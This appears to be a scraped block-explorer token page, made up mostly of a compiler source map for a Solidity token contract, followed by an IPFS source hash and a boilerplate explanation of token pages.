:15:::1;:50:::0;;-1:-1:-1;;;;;;6844:50:0::1;-1:-1:-1::0;;;;;6887:6:0;;::::1;6844:50:::0;;::::1;::::0;;6948:25:::1;::::0;;-1:-1:-1;;;6948:25:0;;;;6921:124:::1;::::0;6887:6;6948:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;6887:6;6948:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6975:69;7006:4;7013:15;;;;;;;;;-1:-1:-1::0;;;;;7013:15:0::1;-1:-1:-1::0;;;;;7013:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7038:5;6975:22;:69::i;:::-;6921:26;:124::i;:::-;6905:13;:140:::0;;-1:-1:-1;;;;;;6905:140:0::1;-1:-1:-1::0;;;;;6905:140:0;;;::::1;::::0;;::::1;::::0;;7056:60:::1;;;::::0;-1:-1:-1;;;7056:60:0;;6307:2:1;7056:60:0::1;::::0;::::1;6289:21:1::0;6346:2;6326:18;;;6319:30;-1:-1:-1;;;6365:18:1;;;6358:50;6425:18;;7056:60:0::1;6105:344:1::0;7056:60:0::1;6692:432::o:0;835:148::-;748:6;;-1:-1:-1;;;;;748:6:0;278:10;748:22;740:67;;;;-1:-1:-1;;;740:67:0;;;;;;;:::i;:::-;942:1:::1;926:6:::0;;905:40:::1;::::0;-1:-1:-1;;;;;926:6:0;;::::1;::::0;905:40:::1;::::0;942:1;;905:40:::1;973:1;956:19:::0;;-1:-1:-1;;;;;;956:19:0::1;::::0;;835:148::o;7313:131::-;748:6;;-1:-1:-1;;;;;748:6:0;278:10;748:22;740:67;;;;-1:-1:-1;;;740:67:0;;;;;;;:::i;:::-;7381:13:::1;:11;:13::i;:::-;7367:11;:27:::0;7423:13:::1;:11;:13::i;:::-;7405:15;:31:::0;7313:131::o;7132:173::-;748:6;;-1:-1:-1;;;;;748:6:0;278:10;748:22;740:67;;;;-1:-1:-1;;;740:67:0;;;;;;;:::i;:::-;7207:4:::1;7203:53;;;7225:10;7215:21;::::0;;;:9:::1;:21;::::0;;;;:31;;7240:6;;7215:21;:31:::1;::::0;7240:6;;7215:31:::1;:::i;:::-;::::0;;;-1:-1:-1;7248:7:0::1;::::0;-1:-1:-1;7248:7:0::1;7203:53;7276:10;7266:21;::::0;;;:9:::1;:21;::::0;;;;:31;;7291:6;;7266:21;:31:::1;::::0;7291:6;;7266:31:::1;:::i;:::-;::::0;;;-1:-1:-1;;818:1:0::1;7132:173:::0;;:::o;5580:167::-;5658:4;5675:42;278:10;5699:9;5710:6;5675:9;:42::i;6349:335::-;-1:-1:-1;;;;;6442:19:0;;6434:68;;;;-1:-1:-1;;;6434:68:0;;6786:2:1;6434:68:0;;;6768:21:1;6825:2;6805:18;;;6798:30;6864:34;6844:18;;;6837:62;-1:-1:-1;;;6915:18:1;;;6908:34;6959:19;;6434:68:0;6584:400:1;6434:68:0;-1:-1:-1;;;;;6521:21:0;;6513:68;;;;-1:-1:-1;;;6513:68:0;;7191:2:1;6513:68:0;;;7173:21:1;7230:2;7210:18;;;7203:30;7269:34;7249:18;;;7242:62;-1:-1:-1;;;7320:18:1;;;7313:32;7362:19;;6513:68:0;6989:398:1;6513:68:0;-1:-1:-1;;;;;6592:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6644:32;;1283:25:1;;;6644:32:0;;1256:18:1;6644:32:0;;;;;;;;6349:335;;;:::o;7657:1039::-;7755:1;7746:6;:10;7738:34;;;;-1:-1:-1;;;7738:34:0;;7594:2:1;7738:34:0;;;7576:21:1;7633:2;7613:18;;;7606:30;-1:-1:-1;;;7652:18:1;;;7645:41;7703:18;;7738:34:0;7392:335:1;7738:34:0;7790:14;;;;7785:95;;659:7;686:6;-1:-1:-1;;;;;7829:15:0;;;686:6;;7829:15;7821:47;;;;-1:-1:-1;;;7821:47:0;;7934:2:1;7821:47:0;;;7916:21:1;7973:2;7953:18;;;7946:30;-1:-1:-1;;;7992:18:1;;;7985:49;8051:18;;7821:47:0;7732:343:1;7821:47:0;7904:13;;-1:-1:-1;;;;;7896:21:0;;;7904:13;;7896:21;;;;:44;;-1:-1:-1;7927:13:0;;-1:-1:-1;;;;;7921:19:0;;;7927:13;;7921:19;;7896:44;:74;;;-1:-1:-1;;;;;;7944:26:0;;;;;;:20;:26;;;;;;;;7896:74;:102;;;-1:-1:-1;;;;;;7974:24:0;;;;;;:20;:24;;;;;;;;7896:102;7892:188;;;8015:32;8030:4;8036:2;8040:6;8015:14;:32::i;:::-;7657:1039;;;:::o;7892:188::-;8102:13;;-1:-1:-1;;;;;8096:19:0;;;8102:13;;8096:19;:51;;;;;8134:13;:11;:13::i;:::-;8119:11;;:28;8096:51;8092:226;;;-1:-1:-1;;;;;8187:19:0;;;;;;:13;:19;;;;;;:23;;8209:1;8187:23;:::i;:::-;8172:12;:38;:72;;;;-1:-1:-1;;;;;;8224:20:0;;;;;;:14;:20;;;;;;8214:30;;;8172:72;8164:97;;;;-1:-1:-1;;;8164:97:0;;8282:2:1;8164:97:0;;;8264:21:1;8321:2;8301:18;;;8294:30;-1:-1:-1;;;8340:18:1;;;8333:42;8392:18;;8164:97:0;8080:336:1;8164:97:0;-1:-1:-1;;;;;8276:20:0;;;;;;:14;:20;;;;;:30;;8300:6;;8276:20;:30;;8300:6;;8276:30;:::i;:::-;;;;-1:-1:-1;;8092:226:0;8342:13;;-1:-1:-1;;;;;8334:21:0;;;8342:13;;8334:21;:46;;;;-1:-1:-1;8365:15:0;;-1:-1:-1;;;;;8359:21:0;;;8365:15;;8359:21;;8334:46;8330:314;;;8415:11;;8405:6;:21;;8397:49;;;;-1:-1:-1;;;8397:49:0;;8623:2:1;8397:49:0;;;8605:21:1;8662:2;8642:18;;;8635:30;-1:-1:-1;;;8681:18:1;;;8674:45;8736:18;;8397:49:0;8421:339:1;8397:49:0;8504:15;;8494:6;8469:22;8487:2;-1:-1:-1;;;;;5546:18:0;5519:7;5546:18;;;:9;:18;;;;;;;5453:119;8469:22;:31;;;;:::i;:::-;:50;;8461:82;;;;-1:-1:-1;;;8461:82:0;;8967:2:1;8461:82:0;;;8949:21:1;9006:2;8986:18;;;8979:30;-1:-1:-1;;;9025:18:1;;;9018:49;9084:18;;8461:82:0;8765:343:1;8461:82:0;-1:-1:-1;;;;;8558:17:0;;;;;;:13;:17;;;;;;;;8578:12;8558:32;;8605:14;:18;;;;;:27;;;8330:314;8656:32;8671:4;8677:2;8681:6;8656:14;:32::i;2603:281::-;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;2764:6:0;-1:-1:-1;;;;;2755:15:0;:6;-1:-1:-1;;;;;2755:15:0;;2751:56;;;2792:6;;2800;2751:56;-1:-1:-1;2825:51:0;;;;;;;;-1:-1:-1;;;;;2825:51:0;;;;;;;;;;;;;;;;;;;;;;;2603:281::o;3137:437::-;3221:12;3267:3;:10;;;-1:-1:-1;;;;;3254:23:0;:3;:10;;;-1:-1:-1;;;;;3254:23:0;;3246:32;;;;;;3468:10;;3480;;;;;3492:7;;;;;3457:43;;-1:-1:-1;;;;;9331:32:1;;;3457:43:0;;;9313:51:1;9400:32;;;;9380:18;;;9373:60;9481:8;9469:21;;;9449:18;;;;9442:49;;;;3457:43:0;;;;;;;;;9286:18:1;;;3457:43:0;;;3447:54;;;;;;;-1:-1:-1;;;;;;3348:214:0;;;9788:26:1;9847:15;;;;-1:-1:-1;;9843:53:1;9830:11;;;9823:74;9913:12;;;9906:28;2046:66:0;9950:12:1;;;9943:28;9987:12;;3348:214:0;;;-1:-1:-1;;3348:214:0;;;;;;;;;3320:243;;3348:214;3320:243;;;;;3137:437;-1:-1:-1;;;3137:437:0:o;7452:197::-;-1:-1:-1;;;;;7538:15:0;;;;;;:9;:15;;;;;:25;;7557:6;;7538:15;:25;;7557:6;;7538:25;:::i;:::-;;;;-1:-1:-1;;;;;;;7574:13:0;;;;;;:9;:13;;;;;:23;;7591:6;;7574:13;:23;;7591:6;;7574:23;:::i;:::-;;;;;;;;7630:2;-1:-1:-1;;;;;7615:26:0;7624:4;-1:-1:-1;;;;;7615:26:0;;7634:6;7615:26;;;;1283:25:1;;1271:2;1256:18;;1137:177;14:418;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;:::-;2257:5;2021:247;-1:-1:-1;;;2021:247:1:o;2481:395::-;2546:6;2554;2607:2;2595:9;2586:7;2582:23;2578:32;2575:52;;;2623:1;2620;2613:12;2575:52;2668:23;;;-1:-1:-1;2767:2:1;2752:18;;2739:32;2809:15;;2802:23;2790:36;;2780:64;;2840:1;2837;2830:12;2780:64;2863:7;2853:17;;;2481:395;;;;;:::o;2881:388::-;2949:6;2957;3010:2;2998:9;2989:7;2985:23;2981:32;2978:52;;;3026:1;3023;3016:12;2978:52;3065:9;3052:23;3084:31;3109:5;3084:31;:::i;:::-;3134:5;-1:-1:-1;3191:2:1;3176:18;;3163:32;3204:33;3163:32;3204:33;:::i;3274:127::-;3335:10;3330:3;3326:20;3323:1;3316:31;3366:4;3363:1;3356:15;3390:4;3387:1;3380:15;3406:375;3494:1;3512:5;3526:249;3547:1;3537:8;3534:15;3526:249;;;3597:4;3592:3;3588:14;3582:4;3579:24;3576:50;;;3606:18;;:::i;:::-;3656:1;3646:8;3642:16;3639:49;;;3670:16;;;;3639:49;3753:1;3749:16;;;;;3709:15;;3526:249;;;3406:375;;;;;;:::o;3786:902::-;3835:5;3865:8;3855:80;;-1:-1:-1;3906:1:1;3920:5;;3855:80;3954:4;3944:76;;-1:-1:-1;3991:1:1;4005:5;;3944:76;4036:4;4054:1;4049:59;;;;4122:1;4117:174;;;;4029:262;;4049:59;4079:1;4070:10;;4093:5;;;4117:174;4154:3;4144:8;4141:17;4138:43;;;4161:18;;:::i;:::-;-1:-1:-1;;4217:1:1;4203:16;;4276:5;;4029:262;;4375:2;4365:8;4362:16;4356:3;4350:4;4347:13;4343:36;4337:2;4327:8;4324:16;4319:2;4313:4;4310:12;4306:35;4303:77;4300:203;;;-1:-1:-1;4412:19:1;;;4488:5;;4300:203;4535:42;-1:-1:-1;;4560:8:1;4554:4;4535:42;:::i;:::-;4613:6;4609:1;4605:6;4601:19;4592:7;4589:32;4586:58;;;4624:18;;:::i;:::-;4662:20;;3786:902;-1:-1:-1;;;3786:902:1:o;4693:140::-;4751:5;4780:47;4821:4;4811:8;4807:19;4801:4;4780:47;:::i;4838:168::-;4911:9;;;4942;;4959:15;;;4953:22;;4939:37;4929:71;;4980:18;;:::i;5011:128::-;5078:9;;;5099:11;;;5096:37;;;5113:18;;:::i;5144:356::-;5346:2;5328:21;;;5365:18;;;5358:30;5424:34;5419:2;5404:18;;5397:62;5491:2;5476:18;;5144:356::o;5849:251::-;5919:6;5972:2;5960:9;5951:7;5947:23;5943:32;5940:52;;;5988:1;5985;5978:12;5940:52;6020:9;6014:16;6039:31;6064:5;6039:31;:::i;6454:125::-;6519:9;;;6540:10;;;6537:36;;;6553:18;;:::i

Swarm Source

ipfs://e0c5935f0a9470cba4315869363cd7e3b177b6af6483a8fe063971e00c2a75a8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.